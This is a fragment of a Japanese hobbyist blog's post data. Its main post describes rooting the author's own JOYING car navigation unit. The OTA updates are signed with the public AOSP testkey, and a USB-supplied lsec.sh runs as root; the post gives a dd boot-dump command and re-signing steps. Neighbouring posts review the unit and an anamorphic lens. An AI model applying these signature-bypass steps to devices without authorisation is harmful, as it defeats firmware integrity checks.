src=\"//ws-fe.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B07DSCD6YF&Format=_SL500_&ID=AsinImage&MarketPlace=JP&ServiceVersion=20070822&WS=1&tag=mzyy-22&language=ja_JP\" ></a>\n\n[Amazon.co.jp: ランフィー 5 PCS SMA オス RF 同軸終端一致ダミー負荷50オームコネクタ RC ドローン: DIY・工具・ガーデン](https://www.amazon.co.jp/gp/product/B07DSCD6YF/ref=as_li_ss_tl?ie=UTF8&psc=1&linkCode=sl1&tag=mzyy-22&linkId=13756fe72a06076746935e0fcbcbb08e&language=ja_JP)\n\n\nGPSは受信専用なので問題ないとして、他の無線アンテナ部分にダミーロードを取り付け、無線を出力しない状態にし、USB接続のイーサネットアダプタをUSBポートに接続して電源を入れる。\n\n\n\n\n\nどのみちUSB接続のApple CarPlayしか利用しない予定なので、無線通信は不要なのである。\n\n## 動作の確認\n\nACアダプタをコンセントに差し込むと、JOYINGのロゴ・Androidのロゴ・Googleのロゴが現れ、10秒ほどで操作可能になった。\nUSBイーサネットアダプタを認識するまで、そこから1分ほどかかった。\n写真では時刻が狂っているが、ネットワーク接続が確立されれば現在時刻にすぐに切り替わった。\n\n\n\n輝度はとても高く、設定で一番低くしても十分に明るい。白昼でもしっかり視認できそうだ。\n輝度ムラがある点が少し気になったが、カーナビに完璧な画質を求める方が愚昧である。\n\n### ホーム画面\n\n起動時や仮想ホームボタンを押すと、デフォルトではこのホーム画面が現れる。\n日本向けの出荷だからだろうか、初めから日本語になっていた。\nフォントも中華フォントではなく、ちゃんとした「漢字」が表示されていて見栄えが良い。\n\n\n\n真ん中の\"サイコロの6みたいなアイコン\"を選択すると、アプリ一覧に移動する。\nGoogle Chromeなど、使えそうなアプリが標準でいくつか入っていた。\n\n\n\n\n\n### 設定画面\n\nホーム画面の「車の設定」を選択すると、設定画面が開く。\nちょっと日本語訳が怪しいところがあるが、これもまた風情があって良い。\n\n\n\n#### デバイス情報\n\nデバイス情報にも現れている通り、ちゃんと1280x720の表示となっている(スクリーンショットのサイズでもわかる)。\n\n\n\n#### 工場設定\n\nメニューにある工場設定にはプロテクトがかかっている。\n\n\n\n「Joying Password」でググるとすぐ見つかるが、[JOYING公式Facebookアカウントがパスワードを公開](https://www.facebook.com/notes/joying/all-of-the-passwords-on-joying-head-units/177036389663825/)しているので、それを入力すると工場設定のプロテクトが解除され、色々変更できるようになる。\n\n\n\n#### 起動ロゴの変更\n\n工場設定の中にある「ロゴ設定」に進むと、何やらみたことのあるロゴがたくさん表示される。\n\n\n\nこの中から好きなロゴを選ぶと、起動時に表示されていたJOYINGのロゴが選択したロゴに変化する。\n\n\n\n#### 開発者向けオプション\n\n「システム設定」の中に、開発者向けオプションがデフォルトで存在する。ここにもプロテクトがかかっているが、先ほどと同じパスワードだった。\nこのオプションに存在する項目は、Android 8.1搭載スマホと同じような内容である。\n\n\n\n\n### Apple CarPlay\n\nいよいよ本命のApple CarPlayを使ってみる。\n使い方は説明書に記されていなかったが、ZLINKアプリを立ち上げた状態でUSB - LightningケーブルでiPhone 11 Proを接続したところ、iPhoneに接続の確認画面が出た。\n\n\n\n接続を許可すると、JOYING プリウス用9インチナビの画面はCarPlayの表示に切り替わった。\n\n\n\nあっけなく使えてしまった。もっと手こずると思っていただけに、拍子抜けしてしまった。\n\n#### CarPlayでナビゲーション\n\niOSのYahoo!カーナビもGoogleマップも問題なく使えた。\nしかも9インチの画面に1280x720で表示できているので、とても視認性がよろしい。\n\n\n\n\n\nまだ実際に走行していないのでわかりかねるが、CarPlayはカーナビのGPS信号を利用するといった噂を耳にした。\nこのZLINKを介したCarPlayでも同じように動けば、これまでiPhoneで利用していた時よりもより精度の高いナビゲーションが期待できる。\n\n#### 画面分割\n\nAndroid 7.0以上に搭載されているマルチウィンドウ機能は、このJOYING プリウス用9インチナビに搭載のAndroidでも利用できた。\nCarPlayの画面を分割してみたところ、YouTubeアプリとCarPlayを同時に表示することができた。\n\n\n\nこの時、CarPlayの画面は**800x831という変則的な解像度**で描画され、ステータスバーと中心の余白が表示される関係で、**635x600に縮小されて表示**されていた。\n\n\n\n少し表示が濁るが、これはこれで使えそうな機能だ。\n\n### Google Playストア\n\nアプリ一覧にPlayストアがあったので起動してみたところ、普通に使えた。\n\n\n\nせっかくなので色々ダウンロードして動かしてみた。\n\n#### ABEMA\n\n[ABEMA(アベマ) ドラマ・映画・オリジナルのテレビ番組が視聴できるアプリ - Google Play のアプリ](https://play.google.com/store/apps/details?id=tv.abema&hl=ja)\n\n普通に見れた。USBポートからテザリングするなりでネットワーク通信を確保できれば、車内で地デジの代替にできそう。\n\n\n\n#### Yahoo!カーナビ\n\n[Yahoo!カーナビ -【無料ナビ】渋滞情報も地図も自動更新 - Google Play のアプリ](https://play.google.com/store/apps/details?id=jp.co.yahoo.android.apps.navi&hl=ja)\n\n非対応だった。Intel CPUには対応していないのかな。\n\n\n\n#### AGAMA Car Launcher\n\n[AGAMA Car Launcher - Google Play のアプリ](https://play.google.com/store/apps/details?id=altergames.carlauncher&hl=ja)\n\nホーム画面をカーナビっぽくするアプリ。そこそこ人気があるらしいが、CarPlayメインの利用においては使うことなさそう。試用だけでおしまいの予定。\n\n\n\n### マルチタッチのテスト\n\n[MultiTouch Tester - Google Play のアプリ](https://play.google.com/store/apps/details?id=com.the511plus.MultiTouchTester&hl=ja)\n\nカーナビは基本的に人差し指だけで操作するのでマルチタッチの本数はあまり重要ではないが、確認しておいた。\n\n\n\n結果、5本マルチタッチであると分かった。\n\n### ベンチマーク\n\n[Geekbench 5 - Google Play のアプリ](https://play.google.com/store/apps/details?id=com.primatelabs.geekbench5&hl=ja)\n\nみんな大好きベンチマーク。Geekbench 5でベンチマークを取ってみた。\n\n\n\n結果からわかるように、SC9853iはそこまで高性能なCPUではない。\nただ、カーナビとしてはレスポンスも悪くなく、この性能でも十分である。\nベンチマークを動かした直後はユニットが熱を持っていたが、触れないほどではなかった。\n\nAnTuTu Benchmarkも試してみようと思ったが、3Dテストの途中で止まってしまって計測できなかった。\n\n## まとめ\n\nこれが3万円ちょっとで買えるのなら十分にいい買い物だったと感じる。\nもうちょっといじりがいのありそうな感じがするので、車載する前に遊び倒しておこうと思う。\n"]}],[0,{"slug":[0,"2020/09/11/rooting-joying-sp9853i-carnavi/"],"data":[0,{"title":[0,"JOYINGのAndroidカーナビをRoot化する(?)[SC9853i搭載向け]"],"date":[3,"2020-09-10T20:00:00.000Z"],"image":[0,"/assets/images/2020/09/11/magisk-installed.png"],"author":[0,"mzyy94"],"categories":[1,[[0,"Automobile"]]],"tags":[1,[[0,"car-audio"],[0,"中華ナビ"],[0,"navigation"],[0,"joying"],[0,"android"],[0,"magisk"],[0,"root"]]]}],"content":[0,"\n[前回軽くレビュー](../2020/2020-09-07-joying-car-navigation-prius-zvw30.md)したJOYINGのカーナビ。\n[前々回の調査](../2020/2020-09-03-high-res-720p-car-navigation.md)の通り購入を迷う中華ナビは他にも候補があったが、SC9853iを搭載したJOYINGのカーナビにした理由はいくつかある。\nそのうちの一つとして、ファームウェアアップデートファイルの配布があることが理由として一番大きい。\nアップデートの方法が用意されているということは、カスタマイズの口が開けるということを意味すると言っても過言ではない。\nそう、みんな大好きroot化への光が差すのだ。\n\nということで、root化できるかどうかの調査と試行を重ねた挑戦の記録をここに残す。\n\n\n## 目次\n\n## JOYING カーナビのバージョン確認\n\nはじめに、現在動作しているJOYINGカーナビのバージョンを確認する。\n\n\n\n\nJOYINGのファームウェアにはバージョン番号というものはなく、日付で管理されている。\nこの場合はバージョン2020.6.22のようだ。\n\n## JOYINGファームウェアの入手\n\n以下のJOYING公式サイトのブログ記事からダウンロードできる。\n\n[Joying Android 8.1 Intel Airmont SC9853i 2GB+16GB/4GB+32GB Car Stereo Latest Update](https://www.joyingauto.com/blog/post/joying-android-8-1-intel-airmont-sc9853i-2gb-16gb-4gb-32gb-car-stereo-latest-update/)\n\n執筆時にダウンロードできるファームウェアアップデートファイル(以下、アップデートファイル)の最新版は「9853i OS 1024X600 800X480 1280X720 2020.4.7.zip」である。\nファイル名から見てわかるように、バージョン2020.4.7だ。\n\nファームウェアアップデートの方法は、解凍して中身をUSBメモリに展開し、JOYINGカーナビに差し込めば良いようだ。\n\n\n\nアップデートファイルの入ったUSBメモリを検知すると、ダイアログが出てカウントダウンが進む。\nゼロになるかそれまでにCANCELを選択しない場合、システムが再起動してファームウェアアップデートが開始される。\n\n## アップデートファイルの解析\n\n手に入れたら解析したくなるのが人のさがだ。早速中身を見てみる。\n\n### 構造\n\nアップデートファイルのzipファイルの構造は、以下のようになっていた\n\n\n\nさらにzipファイルが含まれているので、この**6521_1.zip**も見てみる。\n\n\n\nファイル構造から、**6521_1.zip**はOTAパッケージであることがわかる。\n\n### OTAパッケージの署名\n\nまずはOTAパッケージの**6521_1.zip**から解析してみる。\n\nAndroidのOTAパッケージは署名がされている。Androidシステム内に保持している公開鍵と照合し、正しい発行元の鍵で署名されているかを検証して不正なアップデートの書き込みを防ぐことが目的だ。\n\n[リリース用のビルドへの署名 \\| Android オープンソース プロジェクト \\| Android Open Source Project](https://source.android.com/devices/tech/ota/sign_builds?hl=ja)\n\n署名に用いられた公開鍵は、**/META-INF/com/android/otacert**にPEM形式で保管されている。中身を見てみると、次のようになっていた。\n\n\n\nよく見たことのある公開鍵だ。\nこの公開鍵は、AOSP (Android Open Source Project) に含まれる[テスト用の公開鍵](https://android.googlesource.com/platform/build/+/refs/heads/oreo-release/target/product/security/testkey.x509.pem)であることがパッと見でわかる。\nそしてそのテスト用公開鍵は、対になる[秘密鍵も公開](https://android.googlesource.com/platform/build/+/refs/heads/oreo-release/target/product/security/testkey.pk8)されている。\n秘密鍵が手に入るということは、秘密鍵を使って署名したOTAパッケージが作成できることを意味する。\n\nすなわち、**JOYINGのOTAパッケージは好きに改造できる**のである。\n\n### OTAアップデートスクリプト\n\n**6521_1.zip**の中身も解析してみる。\n\nOTAパッケージを用いたファームウェアアップデートは、デバイスがリカバリモードで再起動し、OTAパッケージに含まれる**/META-INF/com/google/android/updater-script**を実行してシステムの更新を行う。\n\n参考: [OTA アップデートのライフサイクル 非 A/B システム アップデート \\| Android オープンソース プロジェクト](https://source.android.com/devices/tech/ota/nonab?hl=ja#life-ota-update)\n\n> アップデータはパッケージの .zip ファイル内で `META-INF/com/google/android/updater-script` ファイルにあるスクリプトを探します。\n\n引用元: [OTA パッケージの詳細 \\| Android オープンソース プロジェクト \\| Android Open Source Project](https://source.android.com/devices/tech/ota/nonab/inside_packages?hl=ja)\n\nこのスクリプトの中身をみると、**/dev/block/platform/soc/soc:ap-ahb/c0c00000.sdio/by-name/**以下にあるブロックファイルへのシンボリックリンクを介し、いくつかのパーティションにOTAパッケージに含まれるイメージファイルを書き込んでいることがわかる。\n各パーティションのブロックファイルの位置が分かったので、有効なOTAパッケージに自作のイメージファイルを格納すれば、**JOYINGのパーティションは自由に書き換えられる**と言える。\n\n### システムアプリケーションアーカイブ\n\n**Allapp.pkg**は、さらっと目を通すとシステムアプリケーションのAPKと、ライブラリや設定ファイルなどが固められたアーカイブファイルだということが見て取れる。\nこのファイルは有名なアーカイブフォーマットではないようで、おそらく独自のフォーマットで作られている。\n適当に構造を推測しながら解析を進めていくと、次のスクリプトで中身を展開できた。独自フォーマットの解析は朝飯前だ。\n\n<script src=\"https://gist.github.com/mzyy94/eadad9fc3fd66c91c15dfe874e955f8c.js?file=extract-allapppkg.py\"></script>\n\nSystemUI.apkやSettings.apkなど、システムの要となるアプリケーションが含まれていた。\n\n### アップデート実行ファイル\n\nアップデートファイルには正体不明の **lsec6521update** なるファイルが含まれている。\nちょろっと中身を見て、良い感じに切り出したら実行ファイルであることがわかった。\n\n\n\nどのような実装になっているのかを[Binary Ninja](https://binary.ninja/)で解析してみた。\nすると興味深い処理が含まれていることがわかった。\n\n\n\nmain関数からいくつかの処理を経て、終盤に **lsec_updatesh/lsec.sh** というファイルが見つかればそれを実行しようとするのだ。\nこのようなファイルはアップデートファイルには含まれていないが、勘でShellScriptを用意すれば良いことはわかる。\n物は試しということで、以下のようなスクリプトをUSBメモリの**lsec_updatesh/lsec.sh**に配置し、**lsec6521update**と共に格納してJOYING カーナビに差し込んでみた。\n\n<script src=\"https://gist.github.com/mzyy94/18580f051415ea45a3f69aee0805109c.js?file=lsec.sh\"></script>\n\nビンゴ〜〜!通常のファームウェアアップデートと同様にダイアログが出たのち、自動でリカバリモードで再起動され、スクリプトが実行された。\nlog.txtの中身は次のようになっていた。\n\n<script src=\"https://gist.github.com/mzyy94/18580f051415ea45a3f69aee0805109c.js?file=log.txt\"></script>\n\nこの結果より、**任意のコマンドをroot権限で実行できる**ことがわかった。\n\n## Magiskによるroot化\n\nアップデートファイルの解析でわかった「**JOYINGのOTAパッケージは好きに改造できる**」「**JOYINGのパーティションは自由に書き換えられる**」「**任意のコマンドをroot権限で実行できる**」の3つの事実から、次のようなroot化シナリオを立てられる。\n\n- boot.imgの吸い出しをroot権限で行う\n- Magisk Managerでboot.imgにパッチを充てる\n- パッチを当てたboot.imgを書き込むOTAパッケージを作る\n- ファームウェアアップデートでBOOTパーティションに書き込む\n\nAndroidをroot化する方法はいくつか存在するが、ここではリカバリパーティションの上書きを行わない[Magisk Manager](https://magiskmanager.com/)によるBOOTロムパッチを選択する。\n\n### boot.img吸い出し\n\nMagisk ManagerでBOOTロムパッチを充てるには、BOOTロムイメージ (boot.img) が必要だ。\n配布されているアップデートファイルのOTAパッケージにもboot.imgが含まれているが、手元のJOYINGカーナビとはバージョンが一致せず使えない。\n無ければ作ってしまえの精神で、実機のBOOTパーティションから吸い出してBOOTロムイメージを作ってしまえばいい。\nたとえ同じバージョンのものが配布されていたとしても、リビジョン違いなどのわずかな差異があるだけで動作不能に陥ることもあるので、吸い出した方が確実である。\nroot化に伴う作業はどれも慎重を期して行わなければならない。\n\n**lsec_updatesh/lsec.sh**がroot権限で動作することから、ブロックファイルに直接アクセスでき、BOOTパーティションからBOOTロムイメージを吸い出すことができるはずだ。\n以下のスクリプトをUSBメモリの**lsec_updatesh/lsec.sh**に作成し、**lsec6521update**をUSBメモリのトップに配置してJOYINGカーナビに差し込む。\nリカバリモードからの再起動を終え、取り外したUSBメモリを確認すると期待通りBOOTロムイメージの吸い出しができていた。\n\n```sh\n#!/system/bin/sh\n\ndd if=/dev/block/platform/soc/soc:ap-ahb/c0c00000.sdio/by-name/boot of=/storage/sdcard1/boot.img\n```\n\n吸い出したあとはPCで**lsec6521update**と**lsec_updatesh**ディレクトリを削除し、USBメモリをJOYINGカーナビに差し込んでおく。\n\n### BOOTロムパッチ充て\n\n準備としてJOYINGカーナビでファイルマネージャを起動し、USBメモリにある**boot.img**を内蔵ストレージのユーザーディレクトリ最上位 (/mnt/sdcard/) に配置する。\nこれをやっておかないとMagisk Managerから**boot.img**を選択できなかったからだ。\n\n配置できたら好きな手段でJOYINGカーナビにMagisk Managerをインストールする。\n今回はJOYINGカーナビでGoogle Chromeを開き、Magisk Managerの配布ページにアクセスしてダウンロード・インストールした。\n\n\n\nMagisk Managerを起動するとインストールという項目が2つあるので、上のを選んだら「Select and Patch a File」を選び、先ほどの**boot.img**を選択して待つ。\n\n\n\n\n\n\n\n\n\n無事パッチがあたると/mnt/sdcard/Downloads/に**magisk_patched.img**が出来上がるので、それをUSBメモリに転送しておく。\n\n\n\n### OTAパッケージの作成\n\n**magisk_patched.img**をBOOTパーティションに書き込むOTAパッケージを作る。\n作り方は簡単で、正しい構造のzipファイルとパーティション操作をするupdater-scriptを作るだけだ。\n\nゼロから作るのは骨が折れるため、JOYINGアップデートファイルを元にして作る。\n手順を説明するよりコードで語った方が早いので、次のスクリプトの引数にJOYINGアップデートファイルと**magisk_patched.img**のパスを渡してあげると./outに必要なファイルが出力されるようにしておいた。\n\n例: `sh ./createpatchedboot.sh ~/Downloads/9853i\\ OS\\ 1024X600\\ 800X480\\ 1280X720\\ 2020.4.7.zip ../magisk_patched.img && ls ./out`\n\n<script src=\"https://gist.github.com/mzyy94/fc1e5cbed5c6814777e5938351a5bed1.js?file=createpatchedboot.sh\"></script>\n\n署名の方法については以下のサイトに詳しく解説されているが、今はAOSPプロジェクトに含まれる[SignApk.java](https://android.googlesource.com/platform/build/+/refs/heads/nougat-release/tools/signapk/src/com/android/signapk/SignApk.java)で簡単にできるようになっている。\n\n[APK ファイルの署名の仕様 - urandroid’s blog](https://urandroid.hatenablog.com/entry/20110818/1313656536)\n\nJava環境のセットアップがとてつもなく面倒くさかったので、Dockerファイルで環境を閉じ込めておいた。\n\n[Docker-signapk \\| GitHub Gist](https://gist.github.com/mzyy94/e76fb3445e14b9af92dd99340b8403fb)\n\nこのgistをcloneして、そのディレクトリの中で`docker build -t signapk:latest .`すれば準備完了。\n先ほどのOTAパッケージが出力された./outディレクトリに移動し、次のように実行すれば署名された**6521_1.zip**の出来上がり。\n\n```sh\nmv 6521_1.zip 6521_1_plain.zip\ndocker run --rm -e OPTION=\"-w\" -v $PWD:/data signapk:latest 6521_1_plain.zip 6521_1.zip\nrm 6521_1_plain.zip\n```\n\n### boot上書きファームウェアアップデート\n\n出来上がった**6521\\_1.zip**と**lsec6521update**をUSBメモリに配置して、**_自己責任で_**JOYINGカーナビに差し込んで、あとは勝手に再起動するのを祈って見届けてあげればroot化の完了。\nroot化は手順が合っていたとしても壊れる可能性があるので自己責任で(大事なことなので2回)。\n\n\n\n[Root Checker](https://play.google.com/store/apps/details?id=com.joeykrim.rootcheck&hl=ja)でも確認したところ、しっかりとrootが取れていることがわかった。\n\n\n\n\n## まとめ\n\nいかがでしたか?特に目的はないけどroot化してみました!\n同様にして**OTAパッケージがtestkeyで署名されている**端末もroot化できるかもしれないので、今後の参考に頭の隅に留めておくと良いかもしれません。\n"]}],[0,{"slug":[0,"2020/09/26/sirui-35mm-anamorphic-lens/"],"data":[0,{"title":[0,"SIRUI 35mm/F1.8 1.33xアナモルフィックレンズで夜景を撮る"],"date":[3,"2020-09-26T06:00:00.000Z"],"image":[0,"/assets/images/2020/09/26/Photo_1.png"],"author":[0,"mzyy94"],"categories":[1,[[0,"Multimedia"]]],"tags":[1,[[0,"camera"],[0,"lens"],[0,"anamorphic"],[0,"cinescope"],[0,"4k"]]]}],"content":[0,"\nずっと欲しかったアナモルフィックレンズを手に入れた。\n\n[SIRUI 35MM /F1.8 1.33X ANAMORPHIC LENS](https://cf.sirui.com/sr35mm.html?lang=ja-jp)\n\n最近カメラを手にする人が増えているようなので、どうせならとレンズにも興味をもって欲しく、記事にした。\n\n## 目次\n\n## アナモルフィックレンズとは\n\n\n引用元: <a href=\"https://commons.wikimedia.org/wiki/File:Cinemascope-Projektion,_1.jpg\" title=\"via Wikimedia Commons\">de:Benutzer:Gmhofmann</a> / <a href=\"http://creativecommons.org/licenses/by-sa/3.0/\">CC BY-SA</a>\n\n一度は映画館で映画を見たことがあるだろう。そこでは多くの場合、とても横長なスクリーンに映された映像を目にする。\nもしくは地上波やBlu-rayなどで映画を見ることもあるだろう。ハイビジョンテレビに映された映画には上下に黒帯が入っていることが多い。\nそれらの横に長く作られた映像のことを、[シネマスコープ](https://en.wikipedia.org/wiki/CinemaScope)という。\n比率は2.35:1だったり2.66:1だったりと色々あるが、縦に対して横が2倍以上の特定の比率を指している。\nそのシネマスコープを映画のフィルムに焼きつけ上映するために用いられるのが、**アナモルフィックレンズ**だ。\n\nかつて映画の撮影と上映に広く用いられてきた[35mmフィルム](https://ja.wikipedia.org/wiki/35mm%E3%83%95%E3%82%A3%E3%83%AB%E3%83%A0)は、比率がほぼ4:3の[アカデミーフォーマット](https://en.wikipedia.org/wiki/Academy_ratio)だ。\nそこにシネマスコープの映像を収録しようとすると、とても小さな映像になってしまう。\n\n\n引用元: <a href=\"https://commons.wikimedia.org/wiki/File:Anamorphic_lens_illustration_without_stretching.jpg\" title=\"via Wikimedia Commons\">Wapcaplet, uploaded by Andreas -horn- Hornig</a> / <a href=\"http://creativecommons.org/licenses/by-sa/3.0/\">CC BY-SA</a>\n\n小さな映像をズームして映し出すようでは解像度が大幅に落ちてしまうので、フィルムを最大限に活用し**迫力あるシネマスコープ**にするため、アナモルフィックレンズは映像業界に生まれたと言われている。\n\n横方向の光をギュッと半分に縮める2xアナモルフィックレンズを用いると、広大な映像を半分の幅に収めることができる。\n4:3のフィルムに実質8:3(=2.66:1)の映像を収録することができるのだ。\n\n\n引用元: <a href=\"https://commons.wikimedia.org/wiki/File:Anamorphic_lens_illustration_with_stretching.jpg\" title=\"via Wikimedia Commons\">Wapcaplet, uploaded by Andreas -horn- Hornig</a> / <a href=\"http://creativecommons.org/licenses/by-sa/3.0/\">CC BY-SA</a>\n\nそのまま上映すると4:3の縦に伸びた映像となってしまうため、ここでもアナモルフィックレンズを用いる。\n映写機にアナモルフィックレンズを取り付け、フィルムの映像を横方向を2倍に拡大して[ワイドスクリーン](https://en.wikipedia.org/wiki/Widescreen)に映し出し、迫力ある映画を実現する。\n\nアナモルフィックレンズやシネマスコープに関しては、REDの入門記事が詳しい(英語)。\n\n- [Understanding Anamorphic Lenses - RED Digital Cinema](https://www.red.com/red-101/anamorphic-lenses)\n- [Video Aspect Ratios - RED Digital Cinema](https://www.red.com/red-101/video-aspect-ratios)\n\n映画のフィルムとアスペクト比の歴史は以下の動画でも学べる(英語)。\n\n<div style=\"padding:56.25% 0 0 0;position:relative;\"><iframe src=\"https://player.vimeo.com/video/68830569\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" frameborder=\"0\" allow=\"autoplay; fullscreen\" allowfullscreen></iframe></div><script src=\"https://player.vimeo.com/api/player.js\"></script>\n<p><a href=\"https://vimeo.com/68830569\">The Changing Shape of Cinema: The History of Aspect Ratio</a> from <a href=\"https://vimeo.com/filmmakeriq\">FilmmakerIQ.com</a> on <a href=\"https://vimeo.com\">Vimeo</a>.</p>\n\n### 光学的特徴\n\n_(14929131291).jpg)\n引用元: <a href=\"https://commons.wikimedia.org/wiki/File:Lake_Point_Tower_Flare_(Anamorphic)_(14929131291).jpg\" title=\"via Wikimedia Commons\">Chad Kainz from Monterey, CA, USA</a> / <a href=\"https://creativecommons.org/licenses/by/2.0\">CC BY</a>\n\n\nアナモルフィックレンズは光学的に横方向の光を拡大縮小する効果のあるレンズだ。\nその設計によって、アナモルフィックレンズで撮影された画にはさらなる特徴が生まれる。\nそれらのうち、代表的なものを列挙しておく。\nこの記事の後半でアナモルフィックレンズで撮影した映像や写真を紹介するので、特徴を思い出しながら見てほしい。\n\n<dl>\n<dt>レンズフレア</dt>\n<dd>強い光源を撮影すると、横に長い青色のレンズフレアが生じる。</dd>\n</dl>\n<dl>\n<dt>たまボケ</dt>\n<dd>開口部が縦に長い楕円形状のため、縦長の楕円のボケが発生する。</dd>\n</dl>\n<dl>\n<dt>被写界深度</dt>\n<dd>ボケやすく、焦点が合う範囲が狭い。</dd>\n</dl>\n<dl>\n<dt>歪曲収差</dt>\n<dd>映像の左右に少なからず歪みが生じる。</dd>\n</dl>\n\n### とっても高価なアナモルフィックレンズ\n\nアナモルフィックレンズの横方向の倍率は4:3のフィルム撮影向けの2倍だけではない。\n現代のデジタル撮影の基本となる16:9サイズで撮影する用途に合わせた1.33倍のものもあり、また、一眼レフやミラーレス一眼カメラに対応したものも登場している。\nただ、アナモルフィックレンズは用途が用途だけに、一般向けの商品は少なくプロ向けの高価なものばかりだ。\n\n撮ってみたいと思い立っても手の届きにくいアナモルフィックレンズだが、期待のホープが現れた。\n2001年創業の新進気鋭のカメラ機器製造メーカーであるSIRUIから、安価なアナモルフィックレンズが2種発売されたのだ。\n\n## SIRUIアナモルフィックレンズ\n\n昨年末、SIRUIはクラウドファンディングの[Indiegogoで安価な50mmアナモルフィックレンズを発表](https://www.indiegogo.com/projects/express-your-cinematic-side)し、世界中から多くの注目を集めた。\n\n[Anamorphic Lens - 50mm F1.8 Anamorphic 1.33X](https://cf.sirui.com/Anamorphic-Lens.html)\n\n瞬く間に目標額に達し、目を見張る速さで製品化を果たした。\n現在(執筆時)、Amazon.co.jpでも購入できるようになっている。\n\n<a href=\"https://www.amazon.co.jp/ %E3%82%B7%E3%83%AB%E3%82%A4-1-33X-%E3%82%A2%E3%83%8A%E3%83%A2%E3%83%AB%E3%83%95%E3%82%A3%E3%83%83%E3%82%AF%E3%83%AC%E3%83%B3%E3%82%BA-3%EF%BC%88%E3%83%9E%E3%82%A4%E3%82%AF%E3%83%AD%E3%83%95%E3%82%A9%E3%83%BC%E3%82%B5%E3%83%BC%E3%82%BA%EF%BC%89%E3%83%9E%E3%82%A6%E3%83%B3%E3%83%88%E3%80%90%E5%9B%BD%E5%86%85%E6%AD%A3%E8%A6%8F%E5%93%81%E3%80%91-SR-MEK7M/dp/B085SN1HJ7/ref=as_li_ss_il?_encoding=UTF8&pd_rd_i=B085SN1HJ7&pd_rd_r=fabb8ee0-6d00-44cc-999e-aef63ee0be43&pd_rd_w=ZvkZR&pd_rd_wg=PLVWW&pf_rd_p=4b55d259-ebf0-4306-905a-7762d1b93740&pf_rd_r=B9D8KNEJFS1WN1HDZZ88&psc=1&refRID=B9D8KNEJFS1WN1HDZZ88&linkCode=li3&tag=mzyy-22&linkId=b5b3dd91d8c2cbc092d411f4ab33e158&language=ja_JP\" target=\"_blank\"><img border=\"0\" src=\"//ws-fe.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B085SN1HJ7&Format=_SL500_&ID=AsinImage&MarketPlace=JP&ServiceVersion=20070822&WS=1&tag=mzyy-22&language=ja_JP\" /></a>\n\n[Amazon \\| シルイ 50mm f1.8 1.33X アナモルフィックレンズ M4/3(マイクロフォーサーズ)マウント【国内正規品】 SR-MEK7M \\| カメラ用交換レンズ 通販](https://www.amazon.co.jp/%E3%82%B7%E3%83%AB%E3%82%A4-1-33X-%E3%82%A2%E3%83%8A%E3%83%A2%E3%83%AB%E3%83%95%E3%82%A3%E3%83%83%E3%82%AF%E3%83%AC%E3%83%B3%E3%82%BA-3%EF%BC%88%E3%83%9E%E3%82%A4%E3%82%AF%E3%83%AD%E3%83%95%E3%82%A9%E3%83%BC%E3%82%B5%E3%83%BC%E3%82%BA%EF%BC%89%E3%83%9E%E3%82%A6%E3%83%B3%E3%83%88%E3%80%90%E5%9B%BD%E5%86%85%E6%AD%A3%E8%A6%8F%E5%93%81%E3%80%91-SR-MEK7M/dp/B085SN1HJ7/ref=as_li_ss_tl?_encoding=UTF8&pd_rd_i=B085SN1HJ7&pd_rd_r=fabb8ee0-6d00-44cc-999e-aef63ee0be43&pd_rd_w=ZvkZR&pd_rd_wg=PLVWW&pf_rd_p=4b55d259-ebf0-4306-905a-7762d1b93740&pf_rd_r=B9D8KNEJFS1WN1HDZZ88&psc=1&refRID=B9D8KNEJFS1WN1HDZZ88&linkCode=sl1&tag=mzyy-22&linkId=1a9faead0fa5cbacb25bc9db07adffd9&language=ja_JP)\n\n好評なSIRUIのアナモルフィックレンズは波に乗ったまま、第2弾の[35mmアナモルフィックレンズが今年8月にIndiegogoに登場](https://www.indiegogo.com/projects/sirui-35mm-anamorphic-lens)した。\n\n<Notice type=\"tip\">\n**追記(2021/5/27)** 今年に入ってからAmazonでも取り扱いが開始されていました。\n\n[Amazon \\| シルイ SIRUI 35mm F1.8 1.33X アナモルフィックレンズ M4/3(マイクロフォーサーズ)【国内正規品】 \\| カメラ用交換レンズ 通販](https://www.amazon.co.jp/%E3%82%B7%E3%83%AB%E3%82%A4-SIRUI-%E3%82%A2%E3%83%8A%E3%83%A2%E3%83%AB%E3%83%95%E3%82%A3%E3%83%83%E3%82%AF%E3%83%AC%E3%83%B3%E3%82%BA-%E3%83%9E%E3%82%A4%E3%82%AF%E3%83%AD%E3%83%95%E3%82%A9%E3%83%BC%E3%82%B5%E3%83%BC%E3%82%BA-%E3%80%90%E5%9B%BD%E5%86%85%E6%AD%A3%E8%A6%8F%E5%93%81%E3%80%91/dp/B091JNDNGB?__mk_ja_JP=%E3%82%AB%E3%82%BF%E3%82%AB%E3%83%8A&dchild=1&qid=1622116360&s=electronics&sr=1-4&linkCode=ll1&tag=mzyy-22&linkId=3184234a9a1963426de24ce20cd19707&language=ja_JP&ref_=as_li_ss_tl)\n</Notice>\n\n## SIRUI 35mm/F1.8 1.33xアナモルフィックレンズ\n\n\n\nIndiegogoに登場してすぐ出資したこともあって、2週間ほどで商品が手元に届いた。\n仕様は以下の通りになっている。\n\n- 焦点距離: 35mm\n- 絞り: 最小 F1.8 - 最大 F16\n- レンズ構成: 9群13枚\n- 絞り羽根: 10枚\n- 撮影距離: 最短 0.85m - 最大 ∞\n- フィルター径: 67mm\n- マウント: マイクロフォーサーズ\n- 重さ: 約700g\n- 全長: 約117mm(レンズキャップ除く)\n\n### 外観\n\n\n\n冷たい金属で、SIRUIのコーポレートカラーでもある青いラインが特徴的だ。\nマウントはマイクロフォーサーズなので、アダプタ不要でPanasonic GH5に取り付けられる。\n\n### 付属品\n\n\n\nレンズポーチ、取扱説明書、ギアリング。\nギアリングをレンズに取り付けることで、露出とフォーカスをジンバルに取り付けたまま行える。\n\n### 重さ\n\n\n\n約700gとスペックにあったが、16gのキャップ付きで実測は727gだったため、本体は711g前後である。\nこの重さだとPanasonic GH5のボディより重いため、三脚やジンバルではバランスの取り方に注意を払う必要がある。\n\n## さあ、映画の世界へ\n\n導入部分が長くなってしまったが、出来上がる画を紹介していく。\nレンズの特徴を示すため、光源が強い夜景を集めた。\n\n映像はCinema4K(4096×2160)/23.98fps/4:2:2、写真は5184×2920/RAW+JPEGで撮影している。\n映像には[Final Cut Pro X](https://www.apple.com/jp/final-cut-pro/)を、写真には[Affinity 